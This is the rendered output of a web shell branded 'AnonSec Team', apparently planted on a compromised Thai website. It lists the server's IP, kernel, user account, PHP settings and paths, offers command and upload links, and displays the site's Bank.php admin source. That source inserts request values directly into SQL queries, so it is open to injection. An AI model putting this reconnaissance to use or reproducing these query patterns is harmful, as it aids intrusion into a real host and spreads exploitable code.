AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/css/../admin/Connections/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/css/../admin/Connections/../Bank.php
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
if($_SESSION[UserRight]!="A"){
	echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
	exit;
}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <!-- Meta, title, CSS, favicons, etc. -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

   <title><?php  echo $config[web_title];?></title>
     <?php include("header-css.php");?>
		<!-- Ckeditor -->
		<script src="ckeditor4.10.1/ckeditor.js"></script>
  		<!-- Ckeditor -->
 
  </head>
<?php
   include ("Connections/function-sys.php");
 
  
$page_data=22;
$sql="select  page_name.* from page_name 	where page_data='$page_data'   ";
$arr=$db->getRec($sql);		
$page_name=$arr[page_name];
$page_data="$arr[page_data]";

?>
  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
		
		 <!-- Left side column. contains the logo and sidebar -->
		  <?php include("left-menu.php");?>
		 <!-- Left side column. contains the logo and sidebar -->

         <!-- Header -->
			<?php include("header.php");?>
		 <!-- Header -->

        <!-- page content -->
        <div class="right_col" role="main">
          <div class="">
			<!-- Start -->

            <div class="clearfix"></div><!-- เส้น -->

            <div class="row">
              <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">

					<div class="x_title">
                    <h2> <?php  echo $page_name;?> </h2>
                    <div class="clearfix"></div>
                  </div>

                   <div class="x_content">
				   <!-- เริ่มต้น -->
					
					<?php
					 
											switch($_REQUEST[action]){
 												default:
															$sql="select  page_data.* from page_data 	where page_data='$page_data'     ";
															$arr=$db->getRec($sql);		
															echo <<<DOC
															<TABLE width=90% align=center>
															<TR>
																<TD align=right> 
																	<TABLE>
																	<TR>
																		<TD  >
																			<A HREF="$_SERVER[PHP_SELF]?action=AddForm">
																			<button type="button" class="btn btn-success btn-sm" style="width:100px;"><span class="glyphicon glyphicon-plus-sign"></span> <strong>แก้ไขข้อมูล</strong></button></A> 
 																		</TD>
																	</TR>
																	</TABLE>
 																	 
 															 </TD>
															</TR>
															<TR>
																<TD>
																	<!-- <strong class="textHeadSub"><br>$arr[aName]</strong><BR><BR> -->
																	$arr[aDesc]
 															 </TD>
															</TR>
															</TABLE>
															   <BR>
DOC;
															break;
 					
												case "Update2DB":
															if(isset($_POST['submit']))	{//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า	
																$sql="select  page_data.* from page_data 	where   page_data='$page_data'  ";
																$row=$db->recCount($sql);
																if($row>0){
 																	 $sql="update page_data set aName='$_REQUEST[aName]',aTitle='$_REQUEST[aTitle]',aDesc='$_REQUEST[aDesc]'
																				,aDate=now(),aImg='$Img11' ,empID='$_SESSION[User_id]',lastupdate=now() 
																				where aID='$_REQUEST[aID]' and  page_data='$page_data'   ";	
 																	$db->query($sql);
																}else
																{
																	$sql="insert into page_data (aName,aTitle,aDesc,aImg,page_data,empID,lastupdate,aDate) 	values 
																		('$_REQUEST[aName]','$_REQUEST[aTitle]','$_REQUEST[aDesc]','$Img11','$page_data','$_SESSION[User_id]',now(),now())";
																	$db->query($sql);
																}
																	$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
															}//ปิดมี submit
															echo <<<DOC
															 <CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
															 <script>    
																 SweetAlert('$msg','$_SERVER[PHP_SELF]')
															</script>
DOC;
																break;

												
												case "AddForm":
													if(!empty($page_data)){
 														$action="Update2DB";
														$sql="select  page_data.* from page_data 	where   page_data='$page_data'  ";
														$arrE=$db->getRec($sql);		
 													?>
 
													
													<form id="frm" method="post" action="<?php  echo $_SERVER[PHP_SELF];?>" class="form-horizontal pull-center" enctype="multipart/form-data"  >
													  <div class="col-lg-12">
															<div class="form-group">
																<label class="col-lg-2 control-label">หัวเรื่อง</label>
																<div class="col-lg-8">
																	<input type="text" class="form-control" name="aName" placeholder="หัวเรื่อง,รายละเอียด"  value="<?php  echo $page_name;?>"  readonly  />
																</div>
															</div>
														
 
 
														<div class="form-group">
																<label class="col-lg-2 control-label">รายละเอียด</label>
																<div class="col-lg-10">
 																 <textarea  id="aDesc" class="ckeditor" name="aDesc" rows="7" cols="100"><?php  echo $arrE[aDesc];?></textarea> 
																</div>
															</div>
 
														
														<div class="form-group">
															<div class="col-lg-11 col-lg-offset-2">

																<button type="submit"  name="submit" class="btn btn-primary">บันทึก</button>
																<button type="button" class="btn btn-primary" onclick="self.location.href='<?php  echo "$_SERVER[PHP_SELF]?page_data=$page_data";?>' ">ยกเลิก</button>
																<INPUT TYPE="hidden" NAME="action" value="<?php  echo $action;?>">
																<INPUT TYPE="hidden" NAME="aID" value="<?php  echo $arrE[aID];?>">
 															</div>
														</div>

													</div>
													<!-- <div class="col-lg-12">-->
													</form>
											<?php
												}//ปิดมี id
												break;
											}//ปิด switch?>

					<!-- สิ้นสุด -->

                  </div><!-- x_content -->
                </div><!-- x_panel -->
              </div>
            </div>

			<!-- Stop -->
          </div>
        </div>
        <!-- /page content -->

		<!-- Footer -->
		 <?php include("footer.php");?>
		<!-- Footer -->

      </div>
    </div>

 	 <?php include("header-script.php");?>

  </body>
</html>

AnonSec - 2021